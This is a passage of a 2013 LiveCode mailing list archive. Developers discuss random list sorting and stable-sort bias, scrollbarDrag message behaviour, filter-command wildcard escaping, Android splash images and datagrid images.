shoot-from-the-hip posting to the list. > > > It seems that it does, and I am not sure why. With a low sort parameter, there is a distinct favoring of the original text, and a distinct disfavoring of the reverse of that text, The other sorted results are all about where they should be, 16% of the values. > > > > I am sure there is an explanation for all this. There is definitely something to what Chris said. The original text occurs far more often than it should. I think there was discussion about this a while back, and I have forgotten what the upshot was. > > > Bottom line, though, use a big number. > > > Craig > > > > > -----Original Message----- > From: Dar Scott > To: How to use LiveCode > Sent: Wed, May 22, 2013 5:26 pm > Subject: Re: RandomSeed test (was:randomly order a list) > > > There is a potential confusion in the term randomSeed. We might be using it two > ways. > > There is the randomSeed property, the state of the random number generator. > > And there is the argument to the random function. > > > And... > Shouldn't the 'get fld 1' be inside the loop? (Or initialized the same way each > time.) You are using the previous sorted 'it' each time. Perhaps that is what > is doing the scrambling. > > This is my test: > > on mouseUp > set the cursor to watch > put 0 into a1 > put 0 into a2 > put 0 into a3 > put "a" & lf & "b" & lf & "c" into x > repeat 1000000 times > put x into myVar > --sort lines of myVar by random(the number of lines of myVar) > sort lines of myVar by random(999999) > if line 1 of myVar is "a" then add 1 to a1 > if line 2 of myVar is "a" then add 1 to a2 > if line 3 of myVar is "a" then add 1 to a3 > end repeat > put a1 && a2 && a3 into field 1 > end mouseUp > > I got different results depending on which line is commented out. > > Dar > > > On May 22, 2013, at 2:46 PM, dunbarx at aol.com wrote: > >> Sorting by a randomSeed greater than the number of elements of a sample does > not help. >> >> >> With the following in a fld 1: aaa,bbb,ccc >> >> >> and this in a button: >> >> on mouseUp >> get fld 1 >> repeat 1000 >> sort items of it by random(3) >> put it & return after lowSeed >> end repeat >> >> repeat 1000 >> sort items of it by random(3333) >> put it & return after highSeed >> end repeat >> >> repeat with y = 1 to the number of lines of lowSeed >> add 1 to lowSeedCounter[line y of lowSeed] >> end repeat >> >> repeat with y = 1 to the number of lines of highSeed >> add 1 to highSeedCounter[line y of highSeed] >> end repeat >> >> end mouseUp >> >> >> The distribution of the two groups is about the same. >> >> >> Craig Newman >> >> >> >> >> -----Original Message----- >> From: Dar Scott >> To: How to use LiveCode >> Sent: Wed, May 22, 2013 3:59 pm >> Subject: Re: randomly order a list >> >> >> Try replacing 'the number of lines of myVar' with some huge number you think > is >> allowed for random(), say 999999. >> >> With small numbers you are likely to get the same number for different lines > and >> perhaps sort does not change order in that case. >> >> Dar >> >> >> On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: > ... >>> >>> sort lines of myVar by random(the number of lines of myVar) >>> > ... >>> >>> -- >>> Chris Sheffield >>> Read Naturally, Inc. >>> www.readnaturally.com >> > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dunbarx at aol.com Wed May 22 18:51:11 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Wed, 22 May 2013 18:51:11 -0400 (EDT) Subject: Unexpected scrollbarDrag message In-Reply-To: References: Message-ID: <8D02555FC9FD062-2390-805D@webmail-m164.sysops.aol.com> Peter. So I made a new stack with a few scrollbars and sliders and a field. In the card script: on scrollbarDrag put the thumbPos of the target into fld "valueField" end scrollbarDrag Everything works fine when I drag the thumbs, and nothing happens no matter what I do to the field. What do you have different? Craig -----Original Message----- From: Peter Haworth To: How to use LiveCode Sent: Wed, May 22, 2013 6:33 pm Subject: Unexpected scrollbarDrag message I have a card with a number of slider scrollbars on it and a scrollbarDrag handler in the card script to deal what happens when any of the sliders are moved. I also have a field associated with each scrollbar which receives the thumbpos of its associated slider. All that works fine However, if I click into the slider value field, my card level scrollbardrag message is triggered with a value of 1. I also see that the message is coming from the value field. If I get rid of the scrollbardrag message at the card level and put it into the script of each individual slider, the problem goes away. If I put a scrollbardrag handler into the script of the value fields, it is triggered as soon as I click into the field. The value fields do not have any scrollbars enabled, do not have a behavior script, and there are no other scripts in the messagepath between them and the card. I'm sure this is not an intended behavior? Pete lcSQL Software _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From dsc at swcp.com Wed May 22 18:53:48 2013 From: dsc at swcp.com (Dar Scott) Date: Wed, 22 May 2013 16:53:48 -0600 Subject: randomly order a list In-Reply-To: <2F338A12-D238-43A3-883A-871CA347D1D8@unil.ch> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> <2F338A12-D238-43A3-883A-871CA347D1D8@unil.ch> Message-ID: <53701202-2A8D-4B96-9D36-B115D3EABDCF@swcp.com> On May 22, 2013, at 4:35 PM, Jacques Hausser wrote: > I think that you cannot sort by random(999999) because the argument of the sort (the sortkey as it is called in the dictionary) must by something like "item 2 of each" and not a number out from a random generator. I'll have to run tests to refresh my memory but I think the sort expression MAY use 'each' but is not required to. It can even use it more than once. I have passed each to a function I wrote in the past. I think. Dar From alex at tweedly.net Wed May 22 19:09:39 2013 From: alex at tweedly.net (Alex Tweedly) Date: Thu, 23 May 2013 00:09:39 +0100 Subject: RandomSeed test In-Reply-To: <2A57A450-85FD-481E-B2E4-34EE33E94CB8@swcp.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <8D0254488E17F3C-2390-6E37@webmail-m164.sysops.aol.com> <379DE1DF-5206-4F11-93E9-5BE845BA326C@swcp.com> <8D02553442A7EED-2390-7F03@webmail-m164.sysops.aol.com> <2A57A450-85FD-481E-B2E4-34EE33E94CB8@swcp.com> Message-ID: <519D5033.2030803@tweedly.net> On 22/05/2013 23:50, Dar Scott wrote: > I think the problem comes up when two equal items are compared. I suspect that sort will tend to leave things unchanged. It's not just "tend to" leave them unchanged - it will *always* leave them unchanged if the sort keys are equal. It says in the docs .... > > The sort command is a stable sort. This means that if the sortKey for > two cards is the same, sorting does not change their order, so you can > do two successive sorts to create subcategories within the major sort > categories. For example, to sort the cards of a stack by ZIP code and > sort within each ZIP code by last names, use these two statements: -- Alex. From dsc at swcp.com Wed May 22 19:14:11 2013 From: dsc at swcp.com (Dar Scott) Date: Wed, 22 May 2013 17:14:11 -0600 Subject: RandomSeed test In-Reply-To: <519D5033.2030803@tweedly.net> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <8D0254488E17F3C-2390-6E37@webmail-m164.sysops.aol.com> <379DE1DF-5206-4F11-93E9-5BE845BA326C@swcp.com> <8D02553442A7EED-2390-7F03@webmail-m164.sysops.aol.com> <2A57A450-85FD-481E-B2E4-34EE33E94CB8@swcp.com> <519D5033.2030803@tweedly.net> Message-ID: <83EF48F5-0CB1-4D55-A3BF-3D2D758DF92A@swcp.com> Yeah, I worded that funny. I meant the sort will be biased toward the current order. I didn't mean any one comparison. Thanks for the catch! On May 22, 2013, at 5:09 PM, Alex Tweedly wrote: > On 22/05/2013 23:50, Dar Scott wrote: >> I think the problem comes up when two equal items are compared. I suspect that sort will tend to leave things unchanged. > > It's not just "tend to" leave them unchanged - it will *always* leave them unchanged if the sort keys are equal. It says in the docs .... > >> >> The sort command is a stable sort. This means that if the sortKey for two cards is the same, sorting does not change their order, so you can do two successive sorts to create subcategories within the major sort categories. For example, to sort the cards of a stack by ZIP code and sort within each ZIP code by last names, use these two statements: > -- Alex. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dsc at swcp.com Wed May 22 19:23:08 2013 From: dsc at swcp.com (Dar Scott) Date: Wed, 22 May 2013 17:23:08 -0600 Subject: randomly order a list In-Reply-To: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> Message-ID: Here is (I think) the situation for random(3). Lines will be (virtually) assigned numbers randomly; there are 27 possibilities. There are 9 cases in which the first line is assigned a 1. It is first in the sort. There are 4 cases in which the first line is assigned a 2 and the other lines get 2 or 3. It is first in the sort There is one case in which all get a 3. Again, the first line comes in first. So, assuming my math is good, that means the first line comes in first 14 out of 27 times. That is 52% and should match what people are getting empirically. This doesn't address broken random(), though. It just emphasizes the importance of the big number for random(). Dar On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: > I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: > > sort lines of myVar by random(the number of lines of myVar) > > But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. > > So does anyone have a good way to do this? > > Thanks, > Chris > > > -- > Chris Sheffield > Read Naturally, Inc. > www.readnaturally.com From paul at researchware.com Wed May 22 19:26:12 2013 From: paul at researchware.com (Paul Dupuis) Date: Wed, 22 May 2013 19:26:12 -0400 Subject: Escaping the Filter command's wildcards In-Reply-To: <519D3A9A.90707@economy-x-talk.com> References: <519D35C4.7000605@researchware.com> <519D3A9A.90707@economy-x-talk.com> Message-ID: <519D5414.8040304@researchware.com> On 5/22/2013 5:37 PM, Mark Schonewille wrote: > Hi Paul, > > This works fine for me: > > put replacetext("xxx?!xxx","[\?!]","") > --> xxxxxx > > What exactly is the problem you're having? Could you post some of the > code that doesn't work for you? it is with the filter command not the replaceText function I ran into a problem: If you have a variable tSource with following 3 lines: sometext? sometext! sometext. and filter tSource with "sometext?" you get all 3 lines instead of just the one with the ? at the end. filter tSource with "sometext[?]" filters to just the expected line, so that is a work-around to solve what I needed to do. I was surprised that filter tSource with "sometext\?" did NOT work (since that would have been a valid regex pattern to filter to just the line with the ?). However the experience made me curious as to what other inconsistencies with the filter command folks may have uncovered. From terry.judd at unimelb.edu.au Wed May 22 19:31:54 2013 From: terry.judd at unimelb.edu.au (Terry Judd) Date: Wed, 22 May 2013 23:31:54 +0000 Subject: Android splash screens Message-ID: >From what I can make out in the Android release notes, splash images only relate to the personal and educational versions of Livecode. However, there is still a field for a splash image in the android panel of the standalone builder of the Livecode commercial version. I'd like to include a splash image as my app takes a little while to start up and a few seconds of black screen isn't a particularly good look but there doesn't seem to be much (any?) information on what size this image should be and how to adapt it for different sized devices and screens.The release notes mention using a square 600 x 600 pixel image, but this is for display on a Livecode branded splash screen using the personal and educational version. What about for the commercial version? Terry... Dr Terry Judd Senior Lecturer in Medical Education Medical Eduction Unit Faculty of Medicine, Dentistry & Health Sciences The University of Melbourne From pete at lcsql.com Wed May 22 19:54:15 2013 From: pete at lcsql.com (Peter Haworth) Date: Wed, 22 May 2013 16:54:15 -0700 Subject: Unexpected scrollbarDrag message In-Reply-To: <8D02555FC9FD062-2390-805D@webmail-m164.sysops.aol.com> References: <8D02555FC9FD062-2390-805D@webmail-m164.sysops.aol.com> Message-ID: On Wed, May 22, 2013 at 3:51 PM, wrote: > Everything works fine when I drag the thumbs, and nothing happens no > matter what I do to the field. What do you have different? > I wish I knew! Here's what I've checked: - the field has no scrollbars enabled - the field has no handlers that send a scrollbardrag message - the field has no behavior set - there are no other scripts in the message path between the field and the card - all the property settings for the field are exactly the same as a new field placed on the card The only other thing I can think of that's different from what you did is that the field and the scrollbar are grouped together, but the group does not have a script and it does not have any scrollbars set. I'm happy to check anything else that you think might affect things. Pete lcSQL Software From dick.kriesel at mail.com Wed May 22 20:04:00 2013 From: dick.kriesel at mail.com (Dick Kriesel) Date: Wed, 22 May 2013 17:04:00 -0700 Subject: randomly order a list In-Reply-To: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> Message-ID: <7A19793C-1504-4AD5-BF93-F73979A9F525@mail.com> On May 22, 2013, at 10:59 AM, Chris Sheffield wrote: > sort lines of myVar by random(the number of lines of myVar) Hi, Chris. I suggest you try this: sort lines of myVar by _random( the number of lines in myVar, each ) with this: private function _random pUpperLimit -- note: ignore other parameters return random( pUpperLimit ) end _random In my test with a million iterations each of the six combinations had almost exactly its fair share. Does that work for you? -- Dick From alex at tweedly.net Wed May 22 20:13:44 2013 From: alex at tweedly.net (Alex Tweedly) Date: Thu, 23 May 2013 01:13:44 +0100 Subject: Unexpected scrollbarDrag message In-Reply-To: References: Message-ID: <519D5F38.4050403@tweedly.net> I think it's behaving as intended (however strange that may be). Note - there is no need to have any scrollbars anywhere to have scrollbardrag messages generated. The key part (in the docs) is perhaps > Summary: > Sent to a field, scrollbar, or group when the user drags the scrollbar > thumb or when a text selection causes a field to scroll. Create a new stack, card with only one field (no scrollbar associated with it), and add some suitable script to the card, like on scrollbardrag put "drag" && the millisecs &CR after msg end scrollbardrag and click in the field - nothing happens. But either typing a CR into the field, or enough chars to cause a horizontal shift, and a scrollbardrag message is generated. Then make the field very slightly less tall - and now simply clicking in the field causes a tiny scroll because the insertion cursor is being put in the field. And that generates a 'scrollbardrag' which is picked up by the handler in the card script. I prsume that because it is generated *from* the field, it wouldn't be seen by a handler attached to the field itself (to avoid possible recursion ??) -- Alex. On 22/05/2013 23:32, Peter Haworth wrote: > I have a card with a number of slider scrollbars on it and a scrollbarDrag > handler in the card script to deal what happens when any of the sliders are > moved. I also have a field associated with each scrollbar which receives > the thumbpos of its associated slider. All that works fine > > However, if I click into the slider value field, my card level > scrollbardrag message is triggered with a value of 1. I also see that the > message is coming from the value field. > > If I get rid of the scrollbardrag message at the card level and put it into > the script of each individual slider, the problem goes away. If I put a > scrollbardrag handler into the script of the value fields, it is triggered > as soon as I click into the field. > > The value fields do not have any scrollbars enabled, do not have a behavior > script, and there are no other scripts in the messagepath between them and > the card. > > I'm sure this is not an intended behavior? > > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dick.kriesel at mail.com Wed May 22 20:15:27 2013 From: dick.kriesel at mail.com (Dick Kriesel) Date: Wed, 22 May 2013 17:15:27 -0700 Subject: randomly order a list In-Reply-To: <7A19793C-1504-4AD5-BF93-F73979A9F525@mail.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <7A19793C-1504-4AD5-BF93-F73979A9F525@mail.com> Message-ID: <26519BA1-56D1-4995-86C2-FA98D715D2B5@mail.com> On May 22, 2013, at 5:04 PM, Dick Kriesel wrote: > combinations oops... permutations From jacques.hausser at unil.ch Wed May 22 20:16:26 2013 From: jacques.hausser at unil.ch (Jacques Hausser) Date: Thu, 23 May 2013 02:16:26 +0200 Subject: randomly order a list In-Reply-To: References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> Message-ID: <970D2BFD-54C0-49E0-8EE1-B0B1497A9961@unil.ch> Dar, I'm afraid you are wrong? they would not be 27 possibilities (3^3) but only 6 (3! - factorial), because each line (first, second and third) can only be present once. And I tested random (3) and random (9999) corrected to give a number between 1 and 3 with the following scripts: on mouseUp put "" into fld "FR" repeat 100 put random(3) & comma after fld "FR" end repeat end mouseUp result: 1,3,2,3,1,1,1,3,3,3,3,2,1,2,2,2,1,2,2,3,1,3,2,3,2,2,3,2,2,3,3,2,2,3,1,3,1,3,2,2,1,3,2,1,3,3,2,3? mean value: 1.992 on mouseUp put "" into fld "FR" put 0 into tt repeat 1000 put random(9999) into tx switch case tx <= 3333 put 1 into t break case tx <= 6666 put 2 into t break default put 3 into t end switch add t to tt end repeat put tt/1000 into fld "Moyenne" end mouseUp result: 1,2,3,3,1,3,2,3,3,2,3,2,3,3,2,2,1,1,3,3,2,2,2,1,3,1,3,3,3,3,1,1,3,2,3,1,2,1,1,1,2,1,3,2,3,2,2? mean value: 1.992 so, it seems to be no statistical difference in the results ! No reason to use large numbers when not needed. (Ideally, the means should be 2, not 1.992, but well?) Jacques Le 23 mai 2013 ? 01:23, Dar Scott a ?crit : > Here is (I think) the situation for random(3). > > Lines will be (virtually) assigned numbers randomly; there are 27 possibilities. > > There are 9 cases in which the first line is assigned a 1. It is first in the sort. > There are 4 cases in which the first line is assigned a 2 and the other lines get 2 or 3. It is first in the sort > There is one case in which all get a 3. Again, the first line comes in first. > > So, assuming my math is good, that means the first line comes in first 14 out of 27 times. That is 52% and should match what people are getting empirically. > > This doesn't address broken random(), though. It just emphasizes the importance of the big number for random(). > > Dar > > > On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: > >> I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: >> >> sort lines of myVar by random(the number of lines of myVar) >> >> But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. >> >> So does anyone have a good way to do this? >> >> Thanks, >> Chris >> >> >> -- >> Chris Sheffield >> Read Naturally, Inc. >> www.readnaturally.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From shawnlivecode at gmail.com Wed May 22 20:29:32 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Wed, 22 May 2013 19:29:32 -0500 Subject: Datagrid - reference an image in a column that's stored in a database Message-ID: I have a datagrid. Using a MySQL database. In one field of the database I'm storing the image link example: http://forums.runrev.com/styles/prosilver/imageset/site_logo.gif How do I go about showing that image in a column of my datagrid? For instance if I have a column called colPic how would I show the above reference image? Been stumped on this for hours. From m.schonewille at economy-x-talk.com Wed May 22 20:32:42 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Thu, 23 May 2013 02:32:42 +0200 Subject: Escaping the Filter command's wildcards In-Reply-To: <519D5414.8040304@researchware.com> References: <519D35C4.7000605@researchware.com> <519D3A9A.90707@economy-x-talk.com> <519D5414.8040304@researchware.com> Message-ID: <519D63AA.7070302@economy-x-talk.com> Hi Paul, I see what you mean. You weren't looking for a solution, just for more trouble :-) I tried several special characters and they can all be used to filter lines with the same workaround. Unfortunately, many of those special characters have no effect, because regex isn't fully supported by the filter command, as Pete mentioned already. Therefore I wonder why we need to escape the question mark. That seems inconsistent to me. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 5/23/2013 01:26, Paul Dupuis wrote: > On 5/22/2013 5:37 PM, Mark Schonewille wrote: >> Hi Paul, >> >> This works fine for me: >> >> put replacetext("xxx?!xxx","[\?!]","") >> --> xxxxxx >> >> What exactly is the problem you're having? Could you post some of the >> code that doesn't work for you? > > it is with the filter command not the replaceText function I ran into a > problem: > > If you have a variable tSource with following 3 lines: > > sometext? > sometext! > sometext. > > and filter tSource with "sometext?" you get all 3 lines instead of just > the one with the ? at the end. > > filter tSource with "sometext[?]" filters to just the expected line, so > that is a work-around to solve what I needed to do. > > I was surprised that filter tSource with "sometext\?" did NOT work > (since that would have been a valid regex pattern to filter to just the > line with the ?). However the experience made me curious as to what > other inconsistencies with the filter command folks may have uncovered. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From iowahengst at mac.com Wed May 22 20:36:08 2013 From: iowahengst at mac.com (Randy Hengst) Date: Wed, 22 May 2013 19:36:08 -0500 Subject: randomly order a list In-Reply-To: <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> Message-ID: Well Chris, I'm sure you've already tried this, but when this kind of thing happens to me? in other words, when a script is correct, but the results are wrong? I've messed something up later in the script with another put statement that overrides it. Maybe the place in the script where you've removed the * My debugging skills are not top notch? So, I'd brute force things and put an "answer tPossibleAnswers" after each line to see what is happening? and again at the end of the handler. I'd be interested in what you discover. be well, randy ----- On May 22, 2013, at 4:34 PM, Chris Sheffield wrote: > Thanks for the suggestions everyone, but I'm still getting strange results, and I'm beginning to think there's something I'm doing that's affecting use of the random() function. Not really sure what it would be though. Here's my code: > > set the itemDel to tab > put "*" & item 3 of sRecSet into tPossibleAnswers -- correct answer > put cr & item 4 of sRecSet after tPossibleAnswers -- distractor 1 > put cr & item 5 of sRecSet after tPossibleAnswers -- distractor 2 > sort lines of tPossibleAnswers by random(999999) -- randomly re-order the list > > This app pulls words from a database and presents three possible answers to choose from. The asterisk above is used to identify the correct answer after the sort takes place. It's removed later on. The sort only works randomly one time. After that, the same sort order is used every time, so the correct answer *always* ends up listed first. It doesn't matter if I use a very high number or if I use 'the number of lines of tPossibleAnswers'. Something is very strange. Just as a quick test, I added a button to the card with this inside: > > put "one" & cr & "two" & cr & "three" into tLines > sort lines of tLines by random(the number of lines of tLines) > answer tLines > > This seems to work just fine. Yes, it does mean getting the same order sometimes twice or maybe even three times in a row, but not usually more than that, which would be fine in this case. So I'm not sure what's going on with my actual code. I'm no longer setting the randomSeed or anything like that. > > The other strange thing is no matter what I try, if I use the random() function or the any keyword in anyway, I get similar results. Something is affecting the "randomness". This is for an iOS app, btw, if that makes any difference to anyone. This might be kind of a dumb thing to do, but the only other thing I can think of would be to add several more lines of data to the three actual possible answers, then sort the whole thing, then somehow filter out everything I added before the sort. With more lines, maybe I'd get better results? > > Thanks again, > Chris > > On May 22, 2013, at 3:03 PM, Dar Scott wrote: > >> I think you are going to get the first line of the original list (correct answer) about half the time. Does that seem right to you from what you have seen? The correct answer will be in the first two about 80% of the time. >> >> Using the larger argument for random should give you better proportions. You should get it in the first line a third of the time. >> >> If you only interested in the first line, there might be some methods that are clearer and more fun. >> >> Dar >> >> >> On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: >> >>> I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: >>> >>> sort lines of myVar by random(the number of lines of myVar) >>> >>> But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. >>> >>> So does anyone have a good way to do this? >>> >>> Thanks, >>> Chris >>> >>> >>> -- >>> Chris Sheffield >>> Read Naturally, Inc. >>> www.readnaturally.com >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From paul at researchware.com Wed May 22 21:07:52 2013 From: paul at researchware.com (Paul Dupuis) Date: Wed, 22 May 2013 21:07:52 -0400 Subject: Escaping the Filter command's wildcards In-Reply-To: <519D63AA.7070302@economy-x-talk.com> References: <519D35C4.7000605@researchware.com> <519D3A9A.90707@economy-x-talk.com> <519D5414.8040304@researchware.com> <519D63AA.7070302@economy-x-talk.com> Message-ID: <519D6BE8.1070209@researchware.com> On 5/22/2013 8:32 PM, Mark Schonewille wrote: > Hi Paul, > > I see what you mean. You weren't looking for a solution, just for more > trouble :-) > > I tried several special characters and they can all be used to filter > lines with the same workaround. Unfortunately, many of those special > characters have no effect, because regex isn't fully supported by the > filter command, as Pete mentioned already. Therefore I wonder why we > need to escape the question mark. That seems inconsistent to me. Since ?, *, [, and ] are used as special characters, it is possible, thought unlikely, to need to escape any or all of them in the pattern to actually filter on those characters. It turns out you can escape ? and * by using [?] or [*] which treats the character in the bracket as a character to me matched rather than a wildcard. I have not explored how it may be possible to escape the brackets Of course, you could do some pre-processing of the source data to replace those characters with some token that is guaranteed not to be in the source text, then apply the filter and then replace the token(s) with the original characters, so there are always a work-around in code. I was mostly wondering if there was an 'undocumented' escape character others on the list had found but no one bothered to add a not to the dictionary for. However, I guess that is not the case. From jacques.hausser at unil.ch Wed May 22 21:16:23 2013 From: jacques.hausser at unil.ch (Jacques Hausser) Date: Thu, 23 May 2013 03:16:23 +0200 Subject: randomly order a list In-Reply-To: References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> Message-ID: Chris, I think Randy has put his finger on something: the * is before any number or letter in the ASCII numeration. I do not know what the random function uses when randomizing a "set" (I was not even aware of this possibility) but that could well be the ASCII value(s) of the first char(s). Jacques Le 23 mai 2013 ? 02:36, Randy Hengst a ?crit : > Well Chris, I'm sure you've already tried this, but when this kind of thing happens to me? in other words, when a script is correct, but the results are wrong? I've messed something up later in the script with another put statement that overrides it. Maybe the place in the script where you've removed the * > > My debugging skills are not top notch? So, I'd brute force things and put an "answer tPossibleAnswers" after each line to see what is happening? and again at the end of the handler. > > I'd be interested in what you discover. > > be well, > randy > ----- > On May 22, 2013, at 4:34 PM, Chris Sheffield wrote: > >> Thanks for the suggestions everyone, but I'm still getting strange results, and I'm beginning to think there's something I'm doing that's affecting use of the random() function. Not really sure what it would be though. Here's my code: >> >> set the itemDel to tab >> put "*" & item 3 of sRecSet into tPossibleAnswers -- correct answer >> put cr & item 4 of sRecSet after tPossibleAnswers -- distractor 1 >> put cr & item 5 of sRecSet after tPossibleAnswers -- distractor 2 >> sort lines of tPossibleAnswers by random(999999) -- randomly re-order the list >> >> This app pulls words from a database and presents three possible answers to choose from. The asterisk above is used to identify the correct answer after the sort takes place. It's removed later on. The sort only works randomly one time. After that, the same sort order is used every time, so the correct answer *always* ends up listed first. It doesn't matter if I use a very high number or if I use 'the number of lines of tPossibleAnswers'. Something is very strange. Just as a quick test, I added a button to the card with this inside: >> >> put "one" & cr & "two" & cr & "three" into tLines >> sort lines of tLines by random(the number of lines of tLines) >> answer tLines >> >> This seems to work just fine. Yes, it does mean getting the same order sometimes twice or maybe even three times in a row, but not usually more than that, which would be fine in this case. So I'm not sure what's going on with my actual code. I'm no longer setting the randomSeed or anything like that. >> >> The other strange thing is no matter what I try, if I use the random() function or the any keyword in anyway, I get similar results. Something is affecting the "randomness". This is for an iOS app, btw, if that makes any difference to anyone. This might be kind of a dumb thing to do, but the only other thing I can think of would be to add several more lines of data to the three actual possible answers, then sort the whole thing, then somehow filter out everything I added before the sort. With more lines, maybe I'd get better results? >> >> Thanks again, >> Chris >> >> On May 22, 2013, at 3:03 PM, Dar Scott wrote: >> >>> I think you are going to get the first line of the original list (correct answer) about half the time. Does that seem right to you from what you have seen? The correct answer will be in the first two about 80% of the time. >>> >>> Using the larger argument for random should give you better proportions. You should get it in the first line a third of the time. >>> >>> If you only interested in the first line, there might be some methods that are clearer and more fun. >>> >>> Dar >>> >>> >>> On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: >>> >>>> I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: >>>> >>>> sort lines of myVar by random(the number of lines of myVar) >>>> >>>> But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. >>>> >>>> So does anyone have a good way to do this? >>>> >>>> Thanks, >>>> Chris >>>> >>>> >>>> -- >>>> Chris Sheffield >>>> Read Naturally, Inc. >>>> www.readnaturally.com >>>> >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Wed May 22 21:30:29 2013 From: pete at lcsql.com (Peter Haworth) Date: Wed, 22 May 2013 18:30:29 -0700 Subject: Escaping the Filter command's wildcards 